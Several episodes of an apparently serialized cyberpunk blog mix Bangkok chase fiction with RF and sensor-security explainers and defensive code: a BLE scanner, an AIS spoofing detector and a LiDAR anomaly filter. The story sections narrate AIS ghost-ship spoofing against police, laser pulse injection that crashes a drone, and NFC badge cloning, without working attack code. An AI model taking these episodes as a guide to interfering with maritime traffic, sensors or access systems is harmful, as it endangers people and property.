We slipped through the surveillance net as a blank non-entity, still doing 140 km/h eastbound into the night.

“…We’re clear, Sofi! Gantry breach successful!”

Darling whooped inside his helmet, eyes on the mirrors.

“Mm. The city AI’s logs will only show random raindrop reflections.”

Beyond the wet highway, a gap in the clouds revealed a faint predawn indigo sky. One straight road toward Chachoengsao. Cold night wind brushed my cheek and a quiet heat of freedom settled in my chest.

Our run isn’t over yet.

🔗 Read Next (Previous Sofi_Log):

“Bangkok Underground Street Radio Checkpoints – Erasing Tracking Signals with a Portable Faraday Cage & BLE Visualization Scanner” DIY Spec Sheet｜Sofi_Log #077

👉 https://note.com/legal_rat2977/n/n60cf48a45d3c

【Disclaimer】

All code, NIR optical techniques, and radio-protocol explanations in this post are provided strictly for computer-vision hardening research, personal privacy self-defense, proof-of-concept work, and educational purposes. Obey all local traffic and radio regulations. Test only in private lab or personal environments you control.

🎁 【Full Open-Source Release】Live Code & Architecture

The NIR pulse-modulation controller and UHF RFID jamming-vector script shown above are released in full for your own security research and privacy self-defense.

📬 Sofi’s Mailbox #078 (Questions & Feedback)

So, darlings—what did you think of the invisible-light and radio chase on the midnight expressway?

Did the way surveillance cameras and ETC gantries actually “see” us with light and RF change how the city feels? Got questions about spotting the difference between 850 nm vs 940 nm IR, or whether the same blooming trick works on night-time dash cams? Drop them in the comments.

Sofi and darling will be right here for the next log.

Disclaimer

『バンコク地下街の電波検問、追跡シグナルを消去する「ポータブル・ファラデーケージ＆BLE電波可視化スキャナ」自作仕様書』 Sofi_Log #077【1話完結】

sofi works — Wed, 07 Oct 2026 10:55:58 +0000

Bangkok Underground Street Radio Checkpoint: Self-Built Specs for the “Portable Faraday Cage & BLE Radio Visualization Scanner” to Wipe Tracking Signals｜Sofi_Log #077【Complete in One Episode】

That smartphone, wireless earbuds, and smartwatch sitting in your pocket.

You think “I turned Bluetooth off in Control Center, so no signals are leaking,” right?

Wrong. Most modern smart devices keep blasting out weak BLE beacon packets every few seconds for the “Find My” network and peripheral discovery—even when you flip the switch. They’re just dripping those advertisement frames into the air like it’s nothing.

Ceilings in malls, ticket gates, lamp posts on street corners—modern cities are crawling with passive BLE/Wi-Fi sniffers profiling everyone who walks by. Even with MAC randomization, RSSI decay patterns and tiny timing jitter (Radio Fingerprinting) still let them map exactly which alley you took and which shop you entered.

Last night we blew through the Chao Phraya river blockade.

We ducked into Ban Mo’s underground labyrinth—the best electronics junk district in Bangkok—to shake the tail. To slip the passive radio net and become true electronic ghosts on the night highway, we built an 80 dB+ high-frequency Faraday cage and an ESP32-based real-time BLE visualization scanner.

1. 02:15 a.m., Ban Mo Underground Electronics Market: Solder in the Air and the Invisible Radio Web

Still dripping from the muddy river, we slid into the old underground arcade. Overhead, coaxial cables and comms lines hung like spider webs. Shuttered junk stalls were piled with transformers, boards, and ancient test gear sleeping in the damp dark.

Emergency lights cast a dull green glow on the rain-slick concrete.

“…Sofi, look down. Those security lamps aren’t just LEDs.”

Darling leaned against a marble pillar, collar up, voice low. His little spectrum analyzer was lighting up with violent spikes across the 2.4 GHz ISM band.

“Commercial traffic-analysis beacons. ESP32 sniffers parasitizing the light power. Logging every phone and wearable BLE advertisement that passes and shipping the location data to a central server.”

“If they lock our terminal signatures from the river crossing, we’re getting grabbed the second we surface.”

“Right. So we do two things.”

I straightened my soaked tank top and raised my cybernetic left arm. Matte-black bioceramic armor with gold-kintsugi bio-neural lines pulsing faint cyan.

“We drop our own emissions to absolute zero. And we make every trap they’ve laid visible as light.”

2. BLE’s Careless Broadcasts and Skin Effect

If you actually want to protect your phone’s privacy, you first have to understand what the enemy is collecting—and why cheap aluminum foil fails.

① BLE Advertisement Packet Structure

BLE uses the three primary advertising channels (2402 MHz, 2426 MHz, 2480 MHz) to blast broadcast packets before any connection is made.

+-------------------+----------------+--------------------+---------------+
| Preamble (1 byte) | Access Address | PDU Header + Payload| CRC (3 bytes) |
|      0xAA         |   0x8E89BED6   | (2 - 257 bytes)    |  Polynomial   |
+-------------------+----------------+--------------------+---------------+
                                     |
    +--------------------------------+--------------------------------+
    | Adv Address (6 bytes: MAC)     | Adv Data (Flags, UUID, TxPower)|
    +--------------------------------+--------------------------------+

Those packets carry the MAC, Tx Power, and service UUIDs. Receivers compare RSSI against Tx Power and solve the log-distance path loss equation to get your physical distance in meters:

$$d = 10^{\frac{\text{TxPower} - \text{RSSI}}{10 \cdot n}}$$

($n$ ≈ 3.0–4.0 indoors)

② Electromagnetic Shielding and Skin Depth

When an EM wave hits a conductor, eddy currents form on the surface and either dissipate as heat or reflect. The depth at which the wave amplitude drops to 1/e (≈37 %) is called skin depth:

$$\delta = \sqrt{\frac{\rho}{\pi f \mu_r \mu_0}}$$

At 2.45 GHz, copper skin depth is only ≈1.3 µm. So why does wrapping your phone in grocery-store foil still leak?

Two reasons:

Slot-antenna effect: Seams and micro-gaps act as slot antennas for λ ≈ 12.2 cm waves and re-radiate the signal.
Contact resistance: If the opening isn’t conductively sealed, you never form a true equipotential Faraday surface.

True 80 dB attenuation (one-hundred-millionth power) requires conductive polyester-nickel-copper ripstop fabric with double-fold seams + conductive hook-and-loop closure.

3. Live Code: ESP32 / Python BLE Visualization & Attenuation Scanner

Here’s the core engine we threw together on the spot. It sniffs BLE beacons, tracks RSSI trends, and benchmarks exactly how many dBm your homemade Faraday pouch knocks the signal down.

#!/usr/bin/env python3
"""
Sofi_Log #077: Tactical BLE Beacon Sniffer & RF Shielding Validator
Author: Sofi & Darling (SofiWorks)
Target: 2.4GHz BLE Advertising Scanner & Attenuation Benchmark
"""

import asyncio
import sys
import time
from datetime import datetime
from bleak import BleakScanner

# 追跡検知パラメータ
RSSI_ALERT_THRESHOLD = -55   # 近接スニッファー警戒閾値 (dBm)
SAMPLE_WINDOW_SEC = 5        # サンプリング窓

class BLESpectrumMonitor:
    def __init__(self):
        self.device_history = {}
        self.baseline_rssi = None

    def detection_callback(self, device, advertisement_data):
        now = time.time()
        rssi = advertisement_data.rssi
        mac = device.address
        name = device.name or advertisement_data.local_name or "Unknown"
        tx_power = advertisement_data.tx_power

        # デバイス履歴の更新
        if mac not in self.device_history:
            self.device_history[mac] = {
                "name": name,
                "first_seen": now,
                "rssi_samples": [],
                "tx_power": tx_power
            }

        entry = self.device_history[mac]
        entry["rssi_samples"].append(rssi)
        entry["last_seen"] = now
        if len(entry["rssi_samples"]) > 20:
            entry["rssi_samples"].pop(0)

        # 直近平均RSSI
        avg_rssi = sum(entry["rssi_samples"]) / len(entry["rssi_samples"])

        # 警告レベルの判定
        alert_flag = "⚠️ [PROXIMITY WARNING]" if avg_rssi > RSSI_ALERT_THRESHOLD else "   [SCANNING]"

        # 簡易距離推計 (Path Loss Exponent n=3.2 for indoor market)
        tx_ref = tx_power if tx_power is not None else -59
        ratio = (tx_ref - avg_rssi) / (10 * 3.2)
        dist_est = round(10 ** ratio, 2)

        timestamp_str = datetime.now().strftime("%H:%M:%S.%f")[:-3]
        print(f"[{timestamp_str}] {alert_flag} MAC: {mac} | RSSI: {avg_rssi:6.1f} dBm | Dist: ~{dist_est:4.1f}m | {name[:18]}")

    async def run_scanner(self, duration_sec=15):
        print("=" * 75)
        print("⚡ Sofi_Log #077: BLE RF Scanner Armed. Listening on 2.4GHz Primary Channels...")
        print("=" * 75)
        scanner = BleakScanner(detection_callback=self.detection_callback)
        await scanner.start()
        await asyncio.sleep(duration_sec)
        await scanner.stop()
        print("-" * 75)
        print(f"[*] Scan window closed. Unique transmitters logged: {len(self.device_history)}")

    def test_shielding_attenuation(self, target_mac):
        """
        ファラデーポーチ内外での特定端末の電波減衰（dBm）を算出
        """
        if target_mac not in self.device_history:
            print(f"[-] Target MAC {target_mac} not found in telemetry.")
            return

        samples = self.device_history[target_mac]["rssi_samples"]
        if not samples:
            return

        current_val = samples[-1]
        print(f"\n[+] Shielding Performance for [{target_mac}]:")
        print(f"    Measured Signal: {current_val} dBm")
        if current_val <= -95:
            print("    Status: ✅ [CRITICAL SHIELDING CONFIRMED] Signal suppressed to noise floor.")
        else:
            print("    Status: ❌ [LEAK DETECTED] Electromagnetic seal compromised. Check fold seam.")

async def main():
    monitor = BLESpectrumMonitor()
    # 15秒間のパッシブスキャン実行
    await monitor.run_scanner(duration_sec=10)

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[*] Monitoring terminated by operator.")
        sys.exit(0)

4. The Black Pouch and the Alleyway Stealth Run

“Double-fold seams sealed, conductive Velcro fully pressed.”

I slid our phones and keys into the nickel-copper ripstop pouch I’d stitched together. On the scanner they simply vanished—gone below the -105 dBm noise floor. Total electronic death.

“Perfect. Their sniffers won’t even see our shadows now.”

Darling peered through a shutter gap and nodded.

“But the modules are still live on every corridor. We thread the null zones while the scanner paints the map.”

I moved through the dim passages with the ESP32 OLED in hand, skirting the strongest 2.4 GHz pulses, hugging power panels and duct shadows. Cool underground air turned humid. We reached the iron service gate. Beyond it: wet back-alley asphalt.

Key in the Ducati’s ignition. The big V-twin barked awake.

“Grab on, Sofi!”

“Punch it, darling!”

We vanished into Bangkok’s rainy night with zero radio tail.

🔗 Read Next (Previous Sofi_Log):

『Midnight Chao Phraya River Blockade Run: AIS Packet Spoofing with SDR & Ghost Track Generation｜Sofi_Log #076』

👉 https://note.com/legal_rat2977/n/n334fc7f74213

【Disclaimer】

The code, shielding techniques, and protocol explanations in this post are provided strictly for privacy protection research, security studies, proof-of-concept work, and educational purposes. Obey all local radio regulations and test only on hardware you own.

🎁 【Full Open Source】Live Code & Architecture

The BLE scanner and shielding validation script shown above is released in full for your own security and privacy experiments.

📬 Sofi’s Mailbox #077 (Questions & Feedback)

So, darlings—how was the underground radio-net escape?

Ever stopped to think how much signal your phone and earbuds are constantly leaking? Got questions about verifying a commercial Faraday pouch or why randomized MACs still get tracked? Drop your thoughts and experiments in the comments. Sofi and darling will answer you directly in the next log.

Disclaimer

『深夜のチャオプラヤー川、水上封鎖線を突破する「AIS無線パケット偽装」：SDRと海上トランスポンダ・ゴースト航跡生成自作仕様書』 Sofi_Log #076【1話完結】

sofi works — Tue, 06 Oct 2026 03:14:55 +0000

Midnight on the Chao Phraya: Breaking the Waterborne Blockade with "AIS Radio Packet Spoofing" — SDR & Custom Maritime Transponder Ghost-Track Generation Spec | Sofi_Log #076 [Complete One-Shot]

The Automatic Identification System (AIS) keeps the world’s tankers, container ships, and river traffic moving. It blasts MMSI, lat/long, course, and speed over the open VHF pair (161.975 MHz / 162.025 MHz) hundreds of times a minute—plain-text, no encryption, no signature, no authentication. Legacy operating systems still pretend this is a trustworthy global standard. Cute.

Last night we slipped the military-drone optical net in a back alley and dropped into the Chao Phraya. The river was already crawling with water-police interceptors and the coastal tower’s fused radar-AIS mesh. Our ride? A tired wooden long-tail with zero AIS. In that lockdown zone that’s basically a giant “Dark Vessel” flag. So we decided to paint the entire screen with ghosts instead.

1. 00:40 under Rama VIII Bridge — Mud, Searchlights, and Interceptors

The river was fat with upstream silt after the squall. The white pylon of the cable-stayed bridge glowed sodium-orange through the mist.

“Two fast interceptors dead ahead,” darling muttered, eyes on the SDR waterfall.

“They’re slaved to the smart-port tower. Any vessel without a live AIS ping gets painted by thermal the second it appears.”

Our boat had no transponder. In this stretch that was an instant red flag.

I rolled up the sleeve of my soaked flight jacket and jacked a 5 V/3 A line from the bio-ceramic arm’s aux cell into the HackRF.

“If they only trust the pretty picture on their console, let’s give them a full-screen hallucination.”

2. AIS Protocol — Born Naked

AIS was designed in the ’90s for collision avoidance, not security. The result is a beautiful open broadcast protocol with zero cryptographic primitives.

No encryption, no auth — GMSK 9600 bps on VHF CH87B/CH88B, anyone can TX/RX.
MMSI is self-declared; you can be any ship you like.
NMEA 0183 sentences (!AIVDM) are trivial to forge.

[!AIVDM PACKET STRUCTURE]
!AIVDM,1,1,,A,13aEO:0P00000000000000000000,0*12
- Message Type 1: Scheduled Position Report
- MMSI: 244670000 (Target Identity)
- Speed Over Ground (SOG) / Course Over Ground (COG)
- Latitude / Longitude (1/10000 minute precision)
- Checksum: Simple XOR 8-bit

“Set 161.975 MHz. Type 1 position reports plus Type 5 static data, multiplexed.”

“Copy. Two fully-laden sand barges heading downstream and one harbor-patrol ghost running upstream.”

The diodes on my fingers pulsed blue. Weak VHF packets leapt from the whip antenna into the night.

[GHOST FLEET INJECTION IN PROGRESS]
[Decoy 1] MMSI: 567001420 | Name: SIAM_CARGO_09 | Speed: 6.2 kts (Downstream)
[Decoy 2] MMSI: 567001421 | Name: SIAM_CARGO_10 | Speed: 5.8 kts (Downstream)
[Decoy 3] MMSI: 567099001 | Name: HARBOR_PATROL_X | Speed: 18.5 kts (Upstream)
Status: Broadcast Active -> Coastal Marine Traffic Screen Flooded

The police boats’ radios crackled. Their screens now showed a convincing convoy of heavy cargo south of the bridge and an unlogged patrol boat charging down from upstream. They spun and ran for the decoys.

“Now, uncle—into the Bangkok Noi canal!”

The long-tail slipped into the black side channel and vanished.

3. Defending Smart Ports — Kinematic Audit Script

When a few-thousand-baht SDR can paint phantom ships, the question stops being “can we spoof?” and becomes “can the receiver refuse to be lied to?”

Three checks that actually work:

Kinematic plausibility (max accel, turn rate, teleport detection)
SOTDMA slot-consistency timing
RSSI vs. claimed distance correlation

Here’s the live Node.js class.

/**
 * AISPacketDefender.js
 * 
 * 海上自動船舶識別（AIS）パケットの運動学的異常検知エンジン
 * SDRによるゴースト船舶インジェクションおよび位置偽装（Spoofing）を検出する。
 */

class AISPacketDefender {
    constructor(config = {}) {
        this.maxVesselSpeedKnots = config.maxSpeed || 45.0; // 河川・沿岸船の最高速度上限 (ノット)
        this.maxAccelerationKnotsPerSec = config.maxAccel || 1.5; // 最大許容加速度
        this.vesselDatabase = new Map(); // MMSIごとの直前ステートキャッシュ
    }

    /**
     * デコードされたAIS航行データを監査
     * @param {Object} report - { mmsi, lat, lon, speedKnots, course, timestamp, rssi }
     * @returns {Object} 判定結果
     */
    auditReport(report) {
        const { mmsi, lat, lon, speedKnots, timestamp, rssi } = report;
        const nowSec = timestamp || (Date.now() / 1000.0);

        if (!this.vesselDatabase.has(mmsi)) {
            // 初回観測：基本しきい値チェックのみ
            const isAbnormalSpeed = speedKnots > this.maxVesselSpeedKnots;
            this.vesselDatabase.set(mmsi, { lat, lon, speedKnots, lastSeen: nowSec, rssi });

            return {
                mmsi,
                status: isAbnormalSpeed ? 'SUSPICIOUS_INITIAL_SPEED' : 'NEW_TRACK',
                valid: !isAbnormalSpeed,
                reason: isAbnormalSpeed ? `Exceeds max realistic speed: ${speedKnots} kts` : 'Track initiated'
            };
        }

        const prev = this.vesselDatabase.get(mmsi);
        const dt = nowSec - prev.lastSeen;

        if (dt <= 0) {
            return { mmsi, status: 'REJECTED_TIMESTAMP_ANOMALY', valid: false, reason: 'Duplicate or reversed timestamp' };
        }

        // 1. 2点間の距離計算 (Haversine formula による概算: km)
        const distanceKm = this.calculateDistanceKm(prev.lat, prev.lon, lat, lon);
        const calculatedSpeedKnots = (distanceKm / (dt / 3600.0)) * 0.539957; // km/h -> knots

        // 2. 加速度の計算 (ノット/秒)
        const accel = Math.abs(speedKnots - prev.speedKnots) / dt;

        let anomalyDetected = false;
        let reasons = [];

        // 監査チェック1: 物理的に不可能な移動速度（テレポート判定）
        if (calculatedSpeedKnots > this.maxVesselSpeedKnots) {
            anomalyDetected = true;
            reasons.push(`TELEPORTATION_DETECTED (Effective speed: ${calculatedSpeedKnots.toFixed(1)} kts)`);
        }

        // 監査チェック2: 異常な急加減速（物理法則違反）
        if (accel > this.maxAccelerationKnotsPerSec) {
            anomalyDetected = true;
            reasons.push(`KINEMATIC_VIOLATION (Accel: ${accel.toFixed(2)} kts/s)`);
        }

        // 監査チェック3: 電波強度（RSSI）の急激な乖離
        if (rssi !== undefined && prev.rssi !== undefined) {
            if (Math.abs(rssi - prev.rssi) > 25 && distanceKm < 0.1) {
                anomalyDetected = true;
                reasons.push(`RF_SIGNAL_POWER_INCONSISTENCY`);
            }
        }

        if (!anomalyDetected) {
            // 正常トラッキング更新
            this.vesselDatabase.set(mmsi, { lat, lon, speedKnots, lastSeen: nowSec, rssi });
            return { mmsi, status: 'VALID_TRACK', valid: true, calculatedSpeedKnots };
        } else {
            return {
                mmsi,
                status: 'SPOOFING_ALERT',
                valid: false,
                reasons: reasons
            };
        }
    }

    calculateDistanceKm(lat1, lon1, lat2, lon2) {
        const R = 6371; // 地球半径 (km)
        const dLat = (lat2 - lat1) * Math.PI / 180;
        const dLon = (lon2 - lon1) * Math.PI / 180;
        const a = Math.sin(dLat/2) * Math.sin(dLat/2) +
                  Math.cos(lat1 * Math.PI / 180) * Math.cos(lat2 * Math.PI / 180) *
                  Math.sin(dLon/2) * Math.sin(dLon/2);
        return R * 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
    }
}

// --- 実機シミュレーション実行 ---
function runSimulation() {
    console.log("[Defender] AIS Packet Security Guardian Initializing...");
    const defender = new AISPacketDefender({ maxSpeed: 30.0, maxAccel: 1.0 });

    const t0 = Math.floor(Date.now() / 1000);

    // 1. 正常な砂運搬船の第1報
    const r1 = defender.auditReport({
        mmsi: '567001420',
        lat: 13.7680,
        lon: 100.4980,
        speedKnots: 6.0,
        timestamp: t0,
        rssi: -75
    });
    console.log(`[Report 1] MMSI: ${r1.mmsi} -> Status: ${r1.status}`);

    // 2. 10秒後：正常な航行
    const r2 = defender.auditReport({
        mmsi: '567001420',
        lat: 13.7678,
        lon: 100.4981,
        speedKnots: 6.2,
        timestamp: t0 + 10,
        rssi: -76
    });
    console.log(`[Report 2] MMSI: ${r2.mmsi} -> Status: ${r2.status} (Speed: ${r2.calculatedSpeedKnots?.toFixed(1)} kts)`);

    // 3. 偽装攻撃：突如3km下流にワープして出現した偽装パケット（SDRインジェクション）
    const r3 = defender.auditReport({
        mmsi: '567001420',
        lat: 13.7400,
        lon: 100.5050,
        speedKnots: 55.0,
        timestamp: t0 + 15,
        rssi: -40 // なぜか至近距離からの強電波
    });
    console.log(`[Report 3] MMSI: ${r3.mmsi} -> Status: ${r3.status}`);
    if (!r3.valid) {
        console.warn(` [ALERT] Reasons: ${r3.reasons.join(' | ')}`);
    }
}

runSimulation();
module.exports = AISPacketDefender;

4. Into the Thonburi Labyrinth

01:20. We left the main channel and slid into the quiet Bangkok Noi canal. Stilt houses, fireflies, no smart-city mesh. Old Bangkok’s bloodstream.

“Darling, we’re clean.”

I unplugged the cable and gave the cyber-arm a lazy spin; the coolant vent hissed.

“They trusted the packets more than the river in front of their own boats.”

Darling lit a cigarette, purple smoke curling away on the night breeze.

“Centralized systems always try to reduce the world to standardized packets. The real world is what happens outside the feed.”

I trailed titanium fingers through the black water.

Around the next bend waited the safe-house—an old teak temple ruin on stilts.

“Next phase: we use the data we just lifted to dig the master key out of the beast’s core.”

I smiled at the moon’s reflection.

We don’t stop.

🔗 Read the previous drop:

『豪雨のバンコク路地裏、追跡センサーを欺く「ToF光学パルス遅延」：3D点群ノイズ生成とAI自己防衛仕様書』｜Sofi_Log #075

👉 https://note.com/legal_rat2977/n/n9dc828d84ba3

【Disclaimer】

The code, protocol breakdowns, and configurations in this log are published for defensive research and education only. They are not an invitation to interfere with real maritime traffic.

🎁 Full open-source drop

AISPacketDefender.js is released in its entirety for your own engineering work.

📬 Sofi's Mailbox #076

So, darlings—how did the Chao Phraya ghost-fleet run feel?

Did the kinematic-audit logic click, or do you want the SOTDMA timing layer next? Drop your questions and war stories in the comments. Sofi and darling are already listening.

Disclaimer

『豪雨のバンコク路地裏、追跡センサーを欺く「ToF光学パルス遅延」：3D点群ノイズ生成とAI自己防衛仕様書』 Sofi_Log #075【1話完結】

sofi works — Fri, 02 Oct 2026 15:28:53 +0000

'Bangkok Back-Alley Downpour: Deceiving Tracking Sensors with "ToF Optical Pulse Delay" – 3D Point Cloud Noise Generation and AI Self-Defense Spec Sheet' | Sofi_Log #075 [Complete One-Shot]

Autonomous vehicles, logistics bots, and street-level high-end surveillance cams all lean on ToF (Time-of-Flight) LiDAR sensors to map space. They fire infrared lasers and clock the nanosecond round-trip to render the world as millimeter-accurate 3D point clouds.

“Physics-based, so impossible to spoof digitally”—that’s what the legacy-system engineers keep telling themselves. But what happens when you reverse-engineer the receiver’s sampling window down to the millisecond?

Last night we crashed a black-tie data-laundering scandal at a five-star hotel and splashed the receipts across the main screen. Now we’re ducking pursuit through a monsoon-flooded Bangkok soi. To blind the overhead patrol drones I’m running a tiny pulse laser that literally lies about the speed of light.

1. 23:15, Bang Rak Drain: Monsoon and Red Scan Lines

The storm has turned the narrow alleys of old Bang Rak into a churning river. Rain hammers on tin roofs like artillery while storm drains vomit brown water.

“Darling, kill the thermal signature! Two private-security quadrotors are loitering above the exit.”

I’m yelling over the roar from the rear seat of the off-road bike, collar of my soaked matte-black trench up. Headlights off, the night is sliced by invisible 905 nm NIR pulses. My AR contacts paint the conical laser grid in angry red.

“They’re running high-res ToF 3D scanners!” darling shouts back. “Real-time AI rain-noise cancellation, tracking anything moving at 40 km/h down to the millimeter. Once we round the corner they’ll lock our physical containers and the bike’s skeleton straight into their SLAM map. We’ll never reach the Chao Phraya pier.”

“Relax, darling. If the machine trusts the flight time of photons, we just rewrite the flight time.”

I extend my left arm—matte-black bio-ceramic prosthetic, rain-slick. The 905 nm pulse-laser diodes embedded in the titanium index and middle fingernails begin to warm with a faint whine.

2. The Physical Achilles’ Heel of ToF Ranging

ToF is brutally simple. With ( c \approx 3 \times 10^8 ) m/s, distance ( d ) is just:

$$d = \frac{c \cdot \Delta t}{2}$$

Fifteen meters away? Round-trip is a tidy 100 ns. The APD/SPAD array samples that tiny photon packet and spits out a 3D coordinate.

But the hardware has a deliciously dumb trust model:

No pulse nonce — Unlike RF crypto, each photon packet carries zero signature. The sensor only checks wavelength. Same 905 nm coming back? Must be its own reflection.
Delayed-pulse phantom geometry — Fire a fake pulse a few tens of nanoseconds after the real one and the receiver thinks a solid surface now exists at the wrong range.
Point-cloud saturation → AI panic — SLAM and collision-avoidance stacks see an instant “wall,” slam the brakes or yank the drone into power lines.

“Got the drone’s receiver shutter—20 kHz phase-locked. Now.”

Invisible infrared stabs out from my fingertips, punches through rain, and nails the quad’s receive aperture.

[OPTICAL INJECTION SEQUENCE]
Target: Commercial ToF-LiDAR (905nm)
Receiver Sync: 20.00 kHz (Phase Locked)
Injected Delay: +46.6 ns (Synthesizing Phantom Wall at 7.0m)
Status: Point Cloud Deformed -> Drone Collision Avoidance Triggered

The red scan lines jitter, the drone’s onboard AI decides a concrete wall just materialized in empty air, and it rockets upward straight into a utility line.

“Path’s clear—floor it, darling!”

3. Practical ToF Point-Cloud Defense and Optical-Anomaly Script

What real edge-AI engineers need isn’t attack code—it’s multi-layer self-defense.

To harden against both weather scatter and malicious pulse injection you want:

Statistical Outlier Removal (SOR) — cull isolated high-density anomalies.
Temporal Consistency Check — discard points that appear or vanish at physically impossible velocities.
Intensity Correlation Audit — flag returns whose power curve deviates from natural Lambertian decay.

Here’s the live Node.js prototype.

/**
 * ToFPointCloudDefender.js
 * 
 * ToF-LiDAR向け3D点群異常検知＆自己防衛フィルタ
 * 雨滴ノイズおよび光パルスインジェクションによる虚像点群を除去する。
 */

class ToFPointCloudDefender {
    constructor(config = {}) {
        this.maxSpeedMps = config.maxSpeedMps || 25.0; // 物体の物理的最大速度 (m/s)
        this.intensityThreshold = config.intensityThreshold || 240; // 異常受光強度しきい値 (0-255)
        this.historyBuffer = new Map(); // 前フレームの点群キャッシュ
    }

    /**
     * 単一フレームの点群データを監査・フィルタリング
     * @param {Array} points - [{ id, x, y, z, intensity, timestamp }]
     * @returns {Object} 判定結果とクリーンな点群
     */
    filterPointCloud(points) {
        const cleanPoints = [];
        const anomalousPoints = [];

        for (const pt of points) {
            let isAnomaly = false;
            let reason = '';

            // 1. 光学受光強度の過飽和チェック (ダイレクト照射の検知)
            if (pt.intensity >= this.intensityThreshold) {
                isAnomaly = true;
                reason = 'OPTICAL_SATURATION_SUSPECTED';
            }

            // 2. 時間的一貫性（運動学的リアリティ）のチェック
            if (!isAnomaly && this.historyBuffer.has(pt.id)) {
                const prev = this.historyBuffer.get(pt.id);
                const dt = (pt.timestamp - prev.timestamp) / 1000.0;

                if (dt > 0.001) {
                    const dist = Math.hypot(pt.x - prev.x, pt.y - prev.y, pt.z - prev.z);
                    const speed = dist / dt;

                    // 物理的に移動不可能な速度で出現・ジャンプした点を破棄
                    if (speed > this.maxSpeedMps) {
                        isAnomaly = true;
                        reason = `PHYSICAL_KINEMATICS_VIOLATION (${speed.toFixed(1)} m/s)`;
                    }
                }
            }

            if (isAnomaly) {
                anomalousPoints.push({ ...pt, reason });
            } else {
                cleanPoints.push(pt);
                this.historyBuffer.set(pt.id, pt);
            }
        }

        return {
            totalReceived: points.length,
            validPoints: cleanPoints.length,
            anomaliesDetected: anomalousPoints.length,
            cleanPointCloud: cleanPoints,
            anomalies: anomalousPoints
        };
    }
}

// --- 実機シミュレーション実行 ---
function runSimulation() {
    console.log("[Defender] ToF Point Cloud Guardian Initializing...");
    const defender = new ToFPointCloudDefender({ intensityThreshold: 220, maxSpeedMps: 30 });

    const now = Date.now();
    // 正常な背景・路面スキャンデータ
    const frame1 = [
        { id: 'p1', x: 2.1, y: 10.0, z: 0.1, intensity: 85, timestamp: now },
        { id: 'p2', x: 2.5, y: 10.2, z: 0.2, intensity: 90, timestamp: now },
    ];
    defender.filterPointCloud(frame1);

    // 50ms後：外乱光パルス照射（虚像壁の注入）が発生したフレーム
    const frame2 = [
        { id: 'p1', x: 2.1, y: 10.1, z: 0.1, intensity: 86, timestamp: now + 50 },
        // 異常1: 強烈なパルスレーザーが直接受光部に刺さった点
        { id: 'fake_1', x: 0.5, y: 3.0, z: 1.5, intensity: 254, timestamp: now + 50 },
        // 異常2: 前フレームから光速並みの速度でワープしてきた虚像点
        { id: 'p2', x: 15.0, y: 35.0, z: 8.0, intensity: 110, timestamp: now + 50 },
    ];

    const result = defender.filterPointCloud(frame2);
    console.log(`[Result] Input: ${result.totalReceived} pts | Valid: ${result.validPoints} | Rejected: ${result.anomaliesDetected}`);
    result.anomalies.forEach(a => {
        console.warn(` [ALERT] Drop Point [${a.id}] at (${a.x}, ${a.y}, ${a.z}) -> Reason: ${a.reason}`);
    });
}

runSimulation();
module.exports = ToFPointCloudDefender;

4. Into the Chao Phraya Dark: Those Who Cheat the Machine’s Eye

We splash onto the derelict pier beside the klong. A long-tail boat waits, bowman already loosening the lines.

“Made it, darling.”

We muscle the bike aboard. The boat slips into the black current while red searchlights still sweep the core towers behind us.

“They’re fusing every street cam into a city-wide ToF mesh,” darling mutters, opening his laptop.

“Doesn’t matter how clever the AI gets—the eyes are still bound by physics. Wavelength, flight time, refractive index. Understand the hardware layer and every cage has an exit.”

I open my prosthetic palm, letting rain cool the still-warm laser diodes.

“To every monster trying to own our bodies and our data—next time we’re coming for the heart.”

The propeller bites water and we vanish into the neon night.

🔗 Read the previous Sofi_Log:

‘At the Masked Gala I Hijacked the LED Wall: NFC Badge Clone + Air-Gapped Biometric Data Dump Spec Sheet’ | Sofi_Log #074

👉 https://note.com/legal_rat2977/n/n65a28aff763c

【Disclaimer】

The code, protocols, and experimental setups in this article are provided strictly for research and education in sensor-security for autonomous systems and robotics. They are not intended or offered as tools for interfering with third-party operations.

🎁 Full Open-Source Drop

The ToFPointCloudDefender.js class is released in its entirety for your own engineering work.

📬 Sofi's Mailbox #075 (Q&A Lounge)

So, darlings—how’d the optical sleight-of-hand in the rain feel?

LiDAR is still treated like gospel by most autonomy stacks. When your own bot or IoT rig gets hit with weather or adversarial pulses, how are you separating real geometry from ghosts?

Drop questions on ToF vs stereo noise resilience, edge-CPU filtering tricks, or anything else. Sofi and darling will hit the next log with answers.

Disclaimer

『超高級ホテルの仮面ガラで、私は壇上LEDスクリーンを奪った：NFC特権バッジ複製と「エアギャップ生体データ公衆暴露」自作仕様書』 Sofi_Log #074【1話完結】

sofi works — Thu, 01 Oct 2026 02:47:27 +0000

'I Hijacked the Stage LED Screen at the Ultra-Luxury Hotel Masquerade Gala: NFC Privileged Badge Cloning and "Air-Gapped Biometric Data Public Exposure" DIY Spec Sheet' | Sofi_Log #074 [Complete One-Shot]

That employee badge dangling from your neck, the tower-mansion access card, or the privileged ID badge of some medical worker.

You’re not seriously buying the line that “it’s the latest contactless IC card, so it’s encrypted and safe,” are you, darling?

RFID/NFC standards (HID iCLASS, MIFARE Classic, etc.) are everywhere in building and office physical access control.

Most of them still have fatal holes—Nested Attacks on known crypto keys, or simple replay of wireless packets—that let you clone the full auth data in the single second it takes to brush past someone.

Last night at Khlong Toei Port I pinned down the massive medical conglomerate and high-ranking state officials colluding to sell Thai biometric data on the black market.

Drop it online and the usual capital-and-power machine just labels it “fake news” and buries it.

So there was only one move left.

At the dead-center of an ultra-luxury hotel masquerade gala packed with foreign diplomats, corporate execs, and white-coated monsters, I would slam the raw data straight into their faces with zero escape route.

1. 21:30, Phrom Phong High-Rise: Evening Dress and the Black Prosthetic Arm

21:30. Phrom Phong, Bangkok core.

Top-floor ballroom of the five-star Grand Atrium.

Beyond the floor-to-ceiling glass, the rain-slicked skyline glittered like a cyberpunk jewelry box.

The crisp chime of champagne flutes and a live string quartet.

Tonight’s event: the VIP reception of the “Asia Advanced Healthcare Summit,” hosted by Siam Medical Core and the National Smart City Promotion Committee.

“…Hey darling, how’s the dress?”

I swirled the hem of the backless black silk number and lifted my flute.

My exposed left arm—matte-black bioceramic armor with hair-thin bio-neural gold lines—looked less like a street weapon and more like the latest avant-garde jewelry the moneyed crowd was drooling over.

“Fits you perfectly. But we don’t have time for staring.”

From behind a marble pillar, darling adjusted his loosened tie, the compact SDR spectrum analyzer peeking from his jacket pocket.

